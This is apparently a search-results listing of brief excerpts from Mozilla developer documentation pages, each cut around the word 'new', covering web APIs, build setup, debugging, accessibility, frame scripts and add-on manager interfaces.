new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. a good starting place is our ma...
Client-side web APIs - Learn web development
heavy use of the document object. in this article, we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways. fetching data from the server another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely
new page. this seemingly small detail has had a huge impact on the performance and behavior of sites. in this article, we'll explain the concept, and look at technologies that make it possible, such as xmlhttprequest and the fetch api. third party apis the apis we've covered so far are built into the browser, but not all apis are. many large websites and services such as google maps, twitter, face...
Test your skills: Strings - Learn web development
ed example: download the starting point for this task to work in your own editor or in an online editor. strings 3 in the next string task, you are given the same quote that you ended up with in the previous task, but it is somewhat broken! we want you to fix and update it, like so: change the casing to correct sentence case (all lowercase, except for upper case first letter). store the
new quote in a variable called fixedquote. in fixedquote, replace "green eggs and ham" with another food that you really don't like. there is one more small fix to do — add a full stop onto the end of the quote, and save the final version in a variable called finalquote. try updating the live code below to recreate the finished example: download the starting point for this task to work in y...
Test your skills: variables - Learn web development
lize myname with a suitable value, on a separate line (you can use your actual name, or something else). declare a variable called myage and initialize it with a value, on the same line. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. variables 2 in this task you need to add a
new line to correct the value stored in the existing myname variable to your own name. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. variables 3 the final task for now — in this case you are provided with some existing code, which has two errors present in it. the results panel ...
Introducing JavaScript objects - Learn web development
e to start from. in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, which produce something fun and colorful — some colored bouncing balls. assessments adding features to our bouncing balls demo in this assessment, you are expected to use the bouncing balls demo from the previous article as a starting point, and add some
new and interesting features to it. ...
Measuring performance - Learn web development
the performance timeline. a performance entry can be directly created by making a performance mark or measure (for example by calling the mark() method) at an explicit point in an application. performance entries are also created in indirect ways; such as loading a resource, like an image. the performanceobserver api can be used to observe performance measurement events and it can notify you of
new performance entries as they are recorded in the browser's performance timeline. while this article does not dive into using these apis, it is useful to know they exist. you can also refer to the navigation and timings article for further examples on using performance web apis. tools and metrics there are a number of different tools available to help you improve performance. these can general...
Properly configuring server MIME types - Learn web development
this article may contain out of date information, as it has not been significantly updated in many years. background by default, many web servers are configured to report a mime type of text/plain or application/octet-stream for unknown content types. as
new content types are invented or added to web servers, web administrators may fail to add the
new mime types to their web server's configuration. this is a major source of problems for users of gecko-based browsers, which respect the mime types as reported by web servers and web applications. what are mime types? mime types describe the media type of content either in email or served by web servers or web applications and are intended to help guide a web browser in how the content is to be processed and displayed. examples of m...
Git and GitHub - Learn web development
blem is later discovered. you might have started doing this in your own work by creating different versions of the same file, e.g. mycode.js, mycode_v2.js, mycode_v3.js, mycode_final.js, mycode_really_really_final.js, etc., but this is really error-prone and unreliable. different team members will commonly want to create their own separate versions of the code (called branches in git), work on a
new feature in that version, and then get it merged in a controlled manner (in github we use pull requests) with the master version when they are done with it. vcses provide tools to meet the above needs. git is an example of a vcs, and github is a web site + infrastructure that provides a git server plus a number of really useful tools for working with git repositories individually or in teams, su...
Tools and testing - Learn web development
cles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites. note: we have referenced a number of tools in this topic, not because we endorse them or think they are the best, but because we know they work and have good industry support. in most cases there are other tools available, old ones will go out of fashion, and
new ones will no doubt appear. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use many the tools detailed here. for example, you'll need to know the f...
ChromeWorkers and the Chrome worker loader
o complement the open web worker functionality, mozilla has introduced the chromeworker interface, which provides this capability within application chrome. that makes it available not only to the application itself, but also to add-ons. this documentation covers chrome workers and the chrome worker module loader. note: if you're contributing content to this section, create subpages using the "
new sub-page" option in the "this page" menu. once you've saved your
new page, come back to this one and force-refresh this page. that will regenerate the table of contents below for all readers. chrome worker modulesthe preferred way to define and load modules for chrome workers is to use the chrome worker module loader. this module loader should not surprise developers familiar with commonjs, as ...
Accessibility API cross-reference
log the main content of a document, distinct from complementary info, headers, footers, navigation, asides etc. main <main> a type of live region where non-essential information changes frequently. marquee ...
Mozilla Plugin Accessibility
plugins in gecko-based browsers have a lot of accessibility issues. here is a rundown of problems and the planned solutions:
new! see the plugin keyboard navigation proposal to see how the largest problems can be solved. problem planned solution owner targeted completion 1. all browser keys unavailable when plugin has focus focused plugins currently have no choice but to consume all keyboard events. the
new plugin api will allow plugins to bubble unused keypresses to the browser. this will allow keyboard users to still access menus, close the current page, scroll, move back and forward in history, etc. if the plugin needs those keystrokes, the can consume them and not pass them on. see the plugin keyboard navigation proposal for t...
Mozilla's Section 508 Compliance
part of section 508 (§1194.21) specifically relates to mozilla, and the ability of us government agencies to buy software that contains mozilla software components. here is a detailed list of section 508 bugs in mozilla's seamonkey application suite. some of them are fairly minor. the following is provided for informational purposes only and is not a legally binding voluntary product accessibility template (vpat). ...
ZoomText
oomtext compatibility. here's how you can test: download a copy of mozilla 1.8a6 (this is not firefox). read the release notes if you're interested. these builds are pretty stable considering they're only alpha, i'm having very good luck with them. it doesn't do us any good to get bug reports on older stuff right now. our main focus is on the browser itself, so you you only need to install mail
news or address book if curious about the other apps. you will also need to install zoomtext 8.11.3. happy testing! you may wish to read through the current issues on this page before reporting bugs. send me email so that i'm aware that you're testing and let me know what bugs you're finding. my email address is aaronleventhal@moonset.net. issues for ai squared, from high to low priority docr...
Accessibility and Mozilla
stions or feedback.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web. in addition to winning major awards such as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a
new piece of software. websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage.embedding api for accessibilityevent process procedurethis diagram outlines how events are processed within gecko. gecko info for windows accessibility vendorsplease contact the mozilla accessibility community.information for assistive technology vendorsboth end use...
Themes
themes allow you to change the look and feel of the user interface and personalize it to your tastes. learn how to create and share themes! browser themes browser theme concepts get an introduction to creating themes for the latest versions of firefox using the amo theme generator use the theme generator to create and submit a
new theme to amo lightweight themes lightweight themes have been deprecated and are no longer accepted by amo. only browser themes will be accepted going forward. tools & resources browser theme manifest.json keys browser extensions theme api discourse forum theme related blog posts archived resources ...
Adding phishing protection data providers
phishing protection technology lets firefox help protect users by comparing the urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list. installing a
new data provider to install a data provider for phishing protection, it's necessary to set a series of preferences to provide details about the provider. each data provider has a unique id number. the data provider with the id number 0 is the default data provider shipped with firefox. when installing a
new provider, you should use the next unused number. to find an id number to use, you can build a loop that requests the value of browser.safebrowsing.provider.0.name, then browser.safebrowsing.provider.1.name, and so forth until no value is returned. then you can us...
A bird's-eye view of the Mozilla framework
all framework supporting the mozilla application suite, not the architecture of the individual applications themselves. prerequisites this article assumes you have access to mozilla sources and are familiar with the directory structure of the source tree. the code samples in the article are based on mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9a1) gecko/20051104 seamonkey/1.1a from a
new source tree checked out 11/04/05. the build id is 2005110409. thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascript and c++ programming languages, object-oriented programming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition...
Browser chrome tests
lated stuff. } when writing tests, design for failure. it is much better to call registercleanupfunction() than doing the cleanup after you have successfully run your tests because the cleanup functions are always called, no matter what. for instance, if you change a preference you want to make sure that the preference is always reset so that it doesn't impact other tests after yours. adding a
new browser chrome test to the tree to add a
new browser chrome test to the tree, add it to the browser.ini file in the same folder as the test. also remember that the test file's name must begin with "browser_" for the test to be recognized as a browser chrome test. if you are adding the first tests in a directory, make sure to also include any head.js you added to support-files, and additionally, ...
Building SpiderMonkey with UBSan
::diag::~diag(). the stack trace should show a function such as __ubsan_handle_load_invalid_value or __ubsan_handle_type_mismatch being called by the buggy c++ code. (for automated testing outside of gdb, you can instead build with -fsanitize=undefined-trap -fsanitize-undefined-trap-on-error, but then you lose ubsan's diagnostics and the ability to continue past errors.) known bugs. please file
new bugs with e.g. [-fsanitize=float-cast-overflow] in the status whiteboard. ...
Creating a Login Manager storage module
args.join(",") + ")"); }, init: function slms_init() { this.stub(arguments); }, initwithfile: function slms_initwithfile(ainputfile, aoutputfile) { this.stub(arguments); }, addlogin: function slms_addlogin(login) { this.stub(arguments); }, removelogin: function slms_removelogin(login) { this.stub(arguments); }, modifylogin: function slms_modifylogin(oldlogin,
newlogin) { this.stub(arguments); }, getalllogins: function slms_getalllogins(count) { this.stub(arguments); }, removealllogins: function slms_removealllogins() { this.stub(arguments); }, getalldisabledhosts: function slms_getalldisabledhosts(count) { this.stub(arguments); }, getloginsavingenabled: function slms_getloginsavingenabled(hostname) { this.stub(arguments...
Debugging JavaScript
ariables in the browser console from addon code, by adding this line to import the console utility: const { console } = components.utils.import("resource://gre/modules/devtools/console.jsm", {}); this has an advantage over dump in that you can list out properties of an object logged with console.log. dump() the dump() function allows you to print text on the native console. use \n to output a
newline at the end. to see anything, you need to set the pref browser.dom.window.dump.enabled to true, e.g. in about:config (add
new pref, it doesn't exist per default). under microsoft windows you additionally need to start firefox via the following command to have a native console : firefox.exe -console using normal javascript object inspection, you can write a function that dumps a whole obje...
Debugging a hang on OS X (Archived)
from apple). by default, sampling of any hanging application will begin automatically. after about 3-4 seconds, select the hanging application in the “detected hangs” window and click the “interrupt sampling” button. note that sampling will quickly hog up a lot of memory if you leave it on for too long! when it's done parsing the data, click the "show text report" button; a
new window will open with a couple of rows with stacktraces for all the threads in the sampled application. if you need to upload the sample to bugzilla, select all the sample text, copy it into your favorite text editor, and save as a plain-text file. for a more detailed view of the sample data, make sure the sample you just recorded is selected in the “detected hangs” window and click on the ...
Debugging
debugging the mozilla platform using debuggers with mozilla debugging mozilla on windows faq questions (and answers) about debugging mozilla on windows. debugging mozilla on os x questions (and answers) about debugging mozilla on os x. debugging mozilla with gdb gdb is our primary debugger on mac and linux. debugging mozilla with lldb lldb is the
new debugger on mac. advanced debugging techniques understanding crash reports how to read crash reports, which are full of information yet often not easy to interpret and act on. debugging a minidump windows crash reports include a minidump, which contains a lot of information about the application when it crashed. debugging mozilla with valgrind valgrin...
Configuring Build Options
tions --enable-warnings-as-errors this makes compiler warnings into errors which fail the build. this can be useful since certain warnings coincide with reviewbot lints which must be fixed before merging. ac_add_options --with-ccache=/path/to/.mozbuild/sccache/sccache this enables sccache to speed up builds. this saves a considerable amount of time directly after a clobber build, so pulling in
new updates and rebasing is less time-consuming. example mozconfig files mozilla's official builds use mozconfig files from the appropriate directory within each repository. warning: these mozconfig files are taken from production builds and are provided as examples only. it is recommended to use the default build options, and only change the properties from the list above as needed. the pro...
Simple Instantbird build
) or .hgrc (for *nix / mac) file. this will provide status feedback during the lengthy clone / download process. see: configure mercurial .hgrc file for progress extension. get the source note: on windows, you won't be able to build the instantbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a
new directory c:\instantbird-src. note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but becaus...
Simple SeaMonkey build
moz_objdir=/path/to/comm-central/obj-sm-debug ac_add_options --enable-application=suite ac_add_options --enable-debug ac_add_options --disable-optimize normally a shared build suffices for debugging purposes but current nightly releases are actually static builds which require even more memory to link. the support for libxul builds is still experimental but it should work if you --disable-mail
news. on windows, the above commands will create the comm-central directory in %userprofile% which may be some subfolder of c:\documents and settings\ on systems upgraded from xp or below. the space in this directory name, or in your user name if it contains one, will cause the configure script to break. to (possibly) fix this, cd to a dir without spaces before doing the "hg clone" command above. ...
Simple Thunderbird build
2009 17:02 9,334 mapiwin.h 02/06/2009 17:02 1,906 mapiwz.h 02/06/2009 17:02 18,277 mapix.h 02/06/2009 17:02 5,012 mspst.h get the source note: on windows, you won't be able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a
new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite). note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failu...
Creating Custom Events That Can Pass Data
you can find the prototypes for the function in nsiprivatedomevent. your event in order for your event to work you must do the following: create a scriptable inter...
ESLint
p restart your editor if that doesn't work, check that you have your editor pointing to the correct node_modules folder. node.js is not recognized add it to your path environment variable by running path="$path:/path/to/node.js/". for example: in windows 10, if you have installed node.js on "c:\nodejs", then the command should look like: export path=$path:/c/nodejs enabling eslint for a
new directory remove the directory from .eslintignore (in the base directory of the repository) fix errors that occur when running ./mach eslint path/to/dir, see also the no-undef rules below. no-undef the no-undef rule is currently being enabled throughout the code base. here are some common issues: my script is imported into the global browser.xul scope. add a line like: /...
Gecko Logging
_logger:3 if you want this on geckoview example, use the following adb command to launch process: adb shell am start -n org.mozilla.geckoview_example/.geckoviewactivity --es env0 "moz_log=example_logger:3" there are special module names to change logging behavior. you can specify one or more special module names without logging level. special module name append append
new logs to existing log file. sync print each log synchronously, this is useful to check behavior in real time or get logs immediately before crash. raw print exactly what has been specified in the format string, without the process/thread/timestamp, etc. prefix. timestamp insert timestamp at start of each log line. rotate:n this limits the produced lo...
SVG Guidelines
ch:foo, illustrator:foo, sopodi:foo, …) the xml namespace definition that comes with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists. typical examples of this are <title> and <desc> tags. although this kind of data is supported by the browser, it can only be displayed when the svg is opened in a
new tab. plus, in most of the cases, the filename is quite descriptive so it's recommended to remove that kind of metadata since it doesn't bring much value. you shouldn't include doctypes in your svgs either; they are a source of many issues, and the svg wg recommends not to include them. see svg authoring guidelines. avoid the use of cdata sections cdata sections are used to avoid parsing some t...
Developer guide
coding, testing, improving the build process and tools, or contributing to the documentation. this guide provides information that will not only help you get started as a mozilla contributor, but that you'll find useful to refer to even if you are already an experienced contributor. documentation topics getting started a step-by-step beginner's guide to getting involved with mozilla. for
new mozilla developers a directory of articles which are particularly helpful for
new mozilla developers. working with mozilla source code a code overview, how to get the code, and the coding style guide. build instructions how to build firefox, thunderbird, seamonkey, or other mozilla applications. development process overview an overview of the entire mozilla development process. managin...
Cross Process Object Wrappers
ent process. when you access a property of the wrapper, it sends a synchronous message to the content process and returns the result. this means it is many times slower to use than an object. message ordering cpows can violate assumptions you might make about message ordering. consider this code: mm.addmessagelistener("gotloadevent", function (msg) { mm.sendasyncmessage("changedocumenturi", {
newuri: "hello.com"}); let uri = msg.objects.document.documenturi; dump("received load event: " + uri + "\n"); }); this sends a message asking the frame script to change the current document uri, then accesses the current document uri via a cpow. you might expect the value of uri to come back as "hello.com". but it might not: in order to avoid deadlocks, cpow messages can bypass normal messages...
Frame script environment
unload fires when the frame script environment is shut down, i.e. when a tab gets closed. if you use a capturing event listener on the contentframemessagemanager, you should verify that its event.target is set to the contentframemessagemanager global object in order to avoid handling unload events from content. does not bubble. domwindowcreated fires when a
new content object is created. this can be used if a framescript needs to interact with individual dom windows instead of simply listening for events bubbling up from content. another use is to interact with the content very early in the page load process, long before domcontentloaded event is fired. ...
Limitations of chrome scripts
d: specifically, topframeelement will be null. this means that if you need to write code that works before firefox 38 and on both multiprocess and non-multiprocess variants, you need to implement both paths: test whether topframeelement is null if it is, you're running in single-process firefox, and should use the old way if it isn't, you're running in multiprocess firefox and should use the
new way from firefox 38 onwards, the topframeelement approach always works. dom events without the shim in multiprocess firefox, if you want to register an event listener on some content dom node, that needs to happen in the content process. it used to be that if you registered a listener on the xul <browser> or <tab> element that hosted some dom content, then events in the content would bubbl...
Communicating with frame scripts
.getservice(ci.nsiobserverservice); observerservice.addobserver(this, "message-manager-disconnect", false); console.log("listening"); }, unregister: function() { var observerservice = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); observerservice.removeobserver(this, "message-manager-disconnect"); } } var observer =
new myobserver(); observer.register(); ...
Frame script environment
unload bubbles no fires when the frame script environment is shut down, i.e. when a tab gets closed. if you use a capturing event listener on the contentframemessagemanager, you should verify that its event.target is set to the contentframemessagemanager global object to avoid handling unload events from content. domwindowcreated fires when a
new content object is created. this can be used if a framescript needs to interact with individual dom windows instead of simply listening for events bubbling up from content. another use is to interact with the content very early in the page load process, long before domcontentloaded event is fired. ...
Process scripts
if you're using the addon sdk you can use the remote/parent module's remoterequire instead. when you need to run code in the content process in order to access web content, then you should use frame scripts. however, a problem with frame scripts is that they can be loaded multiple times in the content process, in multiple scopes that are insulated from each other. for example, if you call the global frame message manager's loadframescript() function, then the script will be loaded separately into all open tabs. this can then cause a problem the frame scripts are interacting with a global service in the content process. ...
Firefox
firefox hidden away behind the about: url protocol. the most useful is the url about:config, which displays preferences and settings that can be inspected and changed.firefox ui considerations for web developersthere are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way. one example is the
new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space. linux compatibility matrixthe following table lists the available library versions for the mozilla.org-distributed firefox builds dependencies, and/or to build firefox.multiple f...
HTMLIFrameElement.executeScript()
tp://example.com/index.html note: the options parameter does not currently seem to have much effect. the script seems to execute even if a url/origin is specified. examples var request1 = browser.executescript( var a = 3; a + 3 , {url: 'http://example.com/index.html'}); request1.onsuccess = function() { console.log(request1.result); // 6 } var request2 = browser.executescript(
new promise((resolve, reject) => { settimeout(function() { resolve(6); }, 1000}) ) , {origin: 'http://example.com'}); request2.onsuccess = function() { console.log(request2.result); // 6 } if the script value is a not a promise, it is simply returned as the request value. if the script value is a promise, the result of the request will be the promise-resolved value. specification...
mozbrowserdocumentfirstpaint
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserdocumentfirstpaint event is fired when a
new paint occurs on any document in the browser <iframe>. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only bo...
mozbrowserloadstart
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserloadstart event is fired when the browser <iframe> starts to load a
new page. this can be used when the embedder wants to start spinning a loading indicator, or update the ui in some other way to indicate loading has started. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (th...
mozbrowserlocationchange
he type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. detail the detail property returns an anonymous javascript object with the following properties: url a domstring representing the url of the
new location. cangoback a boolean that defines whether it's possible to go back in the navigation history (true) or not (false). cangoforward a boolean that defines whether it's possible to go forward in the navigation history (true) or not (false). example this example updates the url bar so that it will always display the correct url for the current location. var browser = document.querysel...
mozbrowseropensearch
ect a custom object. details the details property returns an anonymous javascript object with the following properties: title a domstring representing the title of the search engine. href a domstring representing url of the search engine. ...
ChromeWorker
ection below. to use a postmessage with callback version of chromeworker that features promises, see promiseworker. addons must use absolute urls to load their workers, and those urls have to be using a chrome:// or resource:// protocol (file:// is not accepted). addons that wish to use file:// urls must first register a resource replacement path, using code like this: var fileuri = services.io.
newfileuri(file); services.io.getprotocolhandler('resource'). queryinterface(ci.nsiresprotocolhandler). setsubstitution('my-cool-addon', fileuri); var worker =
new worker('resource://my-cool-addon/worker.js'); more references: you can use chromeworker from javascript code modules. see using workers in javascript code modules for details. you can use chromeworker mod...
Chrome-only Events reference
this page lists events that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg. ua widgets). mozbeforepaintgecko 2.0 adds a
new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.mozscrolledareachangedthe mozscrolledareachanged event is fired when the document view has been scrolled or resized. smartcard-insertthe smartcard-insert event is fired when the insertion of a smart card has been detectedsmartcard-removethe smartcard-remove event is fired when the removal of a smart card has been detected. ...
Gecko SDK
ols and headers for making scriptable npapi plugins including the xpidl compiler/linker and the latest npapi.h. get the sdk updates there is no need to download or rebuild the gecko sdk corresponding to security updates of mozilla (e.g., mozilla 1.7.3) since the headers and glue libs in the gecko sdk are usually not changed as a result of security updates. you do have to get and distribute the
newest gecko components (gklayout.dll etc.), though. downloading for gecko versions before 2.0, you should choose the gecko sdk version for the earliest version of mozilla you wish to target. for gecko versions 2.0 and higher, you must recompile your component for each release as cross-version compatibility is no longer supported. in addition to the below versions, you can find other versions (in...
Gecko Keypress Event
cter without shift is not a numeral but the character with shift is a numeral, the key may be one of the numeral keys in the top row of a french azerty keyboard layout (or similar). because numerals are common in short cuts, the numeral from the key should be considered as a low priority shortcut key candidate (bug 429219). these conditions are complex, and the handling rules may be modified if
new issues are discovered. xul application developers should use key elements for handling accel keys, so as to make use of the handling logic already provided for these elements. xul applications should not attempt to implement shortcuts by interpreting keypress events. similarly, applications should use the accesskey attribute for access keys, rather than attempting to interpret keypress events. i...
Gecko
wn application. character sets supported by gecko a list of the character sets supported by gecko. ...
Gecko's "Almost Standards" Mode
this is added to the long-standing "quirks" and "standards" modes. "almost standards" rendering mode is exactly the same as "standards" mode in all details save one, where it works like "quirks" mode: the height calculations for line boxes and some of the inline elements in them. a common case that this affects is the layout of images inside table cells. this means that sliced-images-in-tables layouts are less likely to fall apart in gecko-based browsers based on the rendering engine found in mozilla 1.0.1 or later when in either "quirks" or "almost standards" mode. ...
Getting from Content to Layout
e document's presshell (which implements nsidocumentobserver and observes the document) about all nodes in the document. the frame constructor takes these notifications and does the following: dispatches "restyle events" which trigger the reprocessing of relevant css selectors and any restyling that needs to occur. adds and removes frames to make the frame tree a proper representation of the
new content tree. restyling the restyletracker maintains a list of restyles to process. elements that need to be restyled are marked with flags (e.g element_has_pending_restyle) and are stored in the mpendingrestyles hashtable. a list of restyle roots (places in the content tree where all descendants need to be restyled but nothing on the parent chain does) are also stored. the restyles accumul...
How to add a build-time test
bdirectories of the current directory which contain xpcshell tests. you can of course just use the onetests_type directory here, but if you want to subdivide your tests by functionality, separate directories is the way to go. reference the test dir in a parent makefile (<tt>yourmoduledir/makefile.in</tt>): ifdef enable_tests dirs += tests_type endif (optional, but recommended) add the
new makefile to allmakefiles.sh (todo: need more details about this) reconfigure (e.g. with <tt>make -f client.mk configure</tt>) make/make check in <tt>yourmodule</tt> ...
How to get a process dump with Windows Task Manager
oduct, substitute the product name where ever you see firefox in these instructions.) caution the memory dump that will be created through this process is a complete snapshot of the state of firefox when you create the file, so it contains urls of active tabs, history information, and possibly even passwords depending on what you are doing when the snapshot is taken. it is advisable to create a
new, blank profile to use when reproducing the hang and capturing the memory dump. please ask for help doing this! requirements windows to get a process dump, you need to be using windows vista or above. a firefox nightly or release you need a firefox version for which symbols are available from the mozilla symbol server. you can use any official nightly build or released version of firefo...
How to get a stacktrace for a bug report
opying the id of an unrelated crash report. you can prefix a "bp-" to the beginning of an id to make bugzilla turn it into a link: bp-a70759c6-1295-4160-aa30-bc4772090918 how to get the crash id if firefox crashes on startup if firefox crashes on startup you can still access your submitted crash reports. crash reports are accessible from all firefox profiles, so if a
new profile does not crash you can use it to access them through "about:crashes" as above. accessing crash report ids outside of firefox if you cannot load firefox at all you can find the crash report files at this location depending on your operating system: windows : %appdata%\mozilla\firefox\crash reports\submitted\ os x : ~/library/application support/firefox/crash reports/submitted/ linux :...
How to investigate Disconnect failures
to all the crashes submitted by firefox to crash-stats. from there use “signature” as summary for bugzilla bug. in “extensions” check installed addons and check if they might be responsible for the failure. 3. single out the failing test or shorten the required tests needed to reproduce. 4. reproduce manually if possible. file a bug once you found what caused the failure, file a
new bug; if you could make it reproducible, narrow down the test case as much as you can so we can see what causes the failure. ...
PBackground
to a different thread? not every communication between the chrome and content processes necessarily wants to go through the main threads of both (or even either) processes. for example, when we are uploading textures from the content process we don't need to go through the main thread of the parent process. instead we can go directly to the compositor thread in the parent process by creating a
new top-level protocol that connects the compositor thread in the parent process to the main thread of a child process. this protocol is called pcompositor, and allows us to bypass the main thread of the parent process, which trims the latency of texture uploads since they will not get bogged down if that thread is busy. writing code that works in both chrome and content processes a lot of code "ju...
IPC Protocol Definition Language (IPDL)
ipdl, short for "ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way. all messages for multi-process plugins and tabs in firefox are declared in the ipdl language. ...
Implementing QueryInterface
the macro ns_impl_query_interface1 when you implement only one additional interface; and ns_impl_query_interface0 when you only implement nsisupports. these macros will be invoked for you if you use the ns_impl_isupports* macros, which give the corresponding queryinterface implementation, plus an addref and a release. calling an inherited queryinterface sometimes you are just adding one or two
new interfaces to an implementation that already supports many other interfaces. in such cases, you'll probably want to call through to the underlying implementation, after you've tested for the particular iids that you care about. this saves code-space and reduces complexity. the differences are highlighted in the following code. class nsmyimplmentation : public nsbaseimplementation, public nsix,...
Implementing Download Resuming
rior to 3.0 alpha 7, nsiwebbrowserpersist cannot append to existing files (as opposed to overwriting them), and is therefore not usable for this task (see bug 129921). detecting when a file changed if the file changed (that is, the entity id does not match), then necko will notify the stream listener with an ns_error_entity_changed error code. the front-end may want to offer the user to get the
new file from scratch in such a case. resuming not supported in some cases, it's not possible to detect whether the server supports resuming until the user actually tries to resume. in such a case, the stream listener will get an ns_error_not_resumable status. here, too, the front-end may want to offer downloading the entire file from scratch. ...
JavaScript-DOM Prototypes in Mozilla
node instances; there are lots of different classes that implement node (htmlimageelement, htmldocument, processinginstruction, et c.). but the fact that an instance of a node will never exist in mozilla does not mean that the node interface is useless, in fact, node can be extended just as we've been doing. if you think back to the htmlimageelement examples above, those examples let you define
new properties on all image elements. by modifying the node top-level object, you can do similar things to all objects that implement node. this means you can add a property to every node in a dom tree by doing something like this: node.prototype.foo = bar; again, modifying host objects is an unsafe practice. it is not guaranteed to work or be error-free in any implementation. it is not standard a...
Addon
this add-on. only available if this add-on is in the process of being installed. installdate read only date the date that the add-on was first installed. optionsurl read only string the url of the options dialog to display for this add-on. pendingupgrade read only addon if this add-on will be replaced on the next restart, this property will hold the
new addon object. releasenotesuri read only nsiuri a uri for release notes for this version. screenshots read only addonscreenshot[] an array of addonscreenshot objects containing urls of preview images for the add-on. size read only integer the size of the add-on's files in bytes. for an add-on that has not yet been downloaded, this may be an estimated...
AddonInstall
ading is complete. methods install() starts or continues the install process. the process will continue in the background until it fails, completes, one of the registered installlisteners pauses it, or the process is canceled by a call to the cancel() method. void install( ) cancel() cancels the install process, it cannot be restarted after this. void cancel( ) addlistener() adds a
new installlistener if the listener is not already registered to monitor this specific addoninstall. void addlistener( in installlistener listener ) parameters listener the installlistener to add. removelistener() removes an installlistener if the listener is registered for monitoring this specific addoninstall. void removelistener( in installlistener listener ) parameters listener ...
Add-on Repository
ch performs a search of the repository. these searches are asynchronous; results are passed to the provided searchcallback object when the search is completed. results passed to the searchcallback object only include add-ons that are compatible with the current application and are not already installed or in the process of being installed. addonrepository can only process one search at a time. a
new search will immediately fail if the addonrepository is already handling another search request. to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getrecommendedurl() string getsearchurl(in string searchterms) void cancelsearch() void retrieverecommendedaddons(in i...
AsyncShutdown.jsm
reventing the user from restarting firefox or burning through a battery. in this case, a crash report is produced, with information on all the shutdown blockers that have not been resolved, and all the additional debug information returned by calls to info(). instances of phase note that you cannot create an instance of phase yourself. see attributes for the instances of phase. if you need a
new phase added to asyncshutdown, please file a bug. methods overview void addblocker(string name, function|promise condition, optional function info) boolean removeblocker(function|promise condition) methods addblocker () register a blocker for the completion of a phase. void addblocker( in string name, in function|promise|* condition, optional in function info ) ...
DownloadSummary
first. note: this method is already called internally by the downloads.getsummary() function. promise bindtolist( downloadlist alist ); parameters alist underlying downloadlist whose contents should be summarized. promise resolves to undefined when the view on the underlying list has been registered. addview() adds a view that will be notified of changes to the summary. the
newly added view will receive an initial onsummarychanged notification. promise addview( object aview ); parameters aview the view object to add. the following methods may be defined: onsummarychanged: optional called after any property of the summary has changed. promise resolves to undefined when the view has been registered and the onsummarychanged notificatio...
Interfacing with the Add-on Repository
this article provides some sample code that queries the recommended add-ons list on amo and lets the user click a button to install an add-on from the list. ...
OS.File.Info
mac os x, as a javascript date object. on unix systems it was returning the last modified date and thus it was deprecated. there is talk of reinstating this with proper functionality in bugzilla :: bug 1167143. the creationdate can be obtained on windows by winbirthdate and on mac os x by macbirthdate. on older unix filesystems it is not possible to get a creation date as it was never stored, on
new unix filesystems creation date is stored but the method to obtain this date differs per filesystem, bugzilla :: bug 1167143 explores implementing solutions for all these different filesystems) lastaccessdate the date at which the file was last accessed, as a javascript date object. note that the definition of last access may depend on the underlying operating system and file system. ...
OSFile.jsm
this api is intended to replace, in time, most xpcom-based manipulation of files (nsifile, subsets of nsiioservice, etc.) by javascript code. what are the relationships with the html5 file api? none, really. the file api is designed for high-level, highly-restricted manipulation of files by web applications. os.file is designed for efficient, unrestricted, manipulation of files by firefox itself and by add-ons. ...
PromiseUtils.jsm
the promiseutils.jsm javascript code module offers some useful functions related to dom promise. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promiseutils.jsm"); method overview deferred defer(); methods defer() creates a
